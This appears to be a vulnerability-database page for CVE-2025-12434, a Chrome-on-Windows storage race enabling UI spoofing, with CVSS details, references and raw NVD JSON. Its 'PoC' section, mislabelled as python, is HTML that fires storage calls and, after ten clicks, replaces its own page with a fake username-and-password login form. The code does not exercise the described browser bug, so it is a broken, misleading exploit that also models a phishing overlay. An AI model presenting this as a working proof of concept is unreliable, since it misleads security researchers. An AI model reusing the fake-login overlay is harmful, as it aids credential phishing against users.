CVE-2025-12434

Description

Race in Storage in Google Chrome on Windows prior to 142.0.7444.59 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome for Windows < 142.0.7444.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12434 UI Spoofing PoC -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12434 PoC</title>
</head>
<body>
    <h1>Race Condition UI Spoofing PoC</h1>
    <p>Click rapidly to trigger race condition in storage access</p>
    <button id="triggerBtn">Click Me Rapidly</button>
    <div id="result"></div>
    
    <script>
        // Race condition trigger mechanism
        let clickCount = 0;
        const triggerBtn = document.getElementById('triggerBtn');
        const resultDiv = document.getElementById('result');
        
        // Storage access with race condition
        function triggerRaceCondition() {
            clickCount++;
            
            // Multiple concurrent storage operations
            Promise.all([
                localStorage.setItem('race_' + Date.now(), 'data1'),
                localStorage.setItem('spoof_' + Date.now(), 'data2'),
                sessionStorage.setItem('attack_' + Date.now(), 'data3')
            ]).then(() => {
                // Read operations creating race window
                localStorage.getItem('race_' + (Date.now() - 1000));
                
                if (clickCount > 10) {
                    // Inject fake UI after race condition triggers
                    document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"><h2 style="color:red;">FAKE LOGIN - Race Condition Triggered</h2><input type="text" placeholder="Username"><input type="password" placeholder="Password"><button>Login</button></div>';
                }
            });
        }
        
        triggerBtn.addEventListener('click', triggerRaceCondition);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12434
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12434
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12434/
[4] VulDB https://vuldb.com/cve/CVE-2025-12434
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/337356054

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12434", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:38.017", "lastModified": "2025-11-13T15:25:28.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Race in Storage in Google Chrome on Windows prior to 142.0.7444.59 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/337356054", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}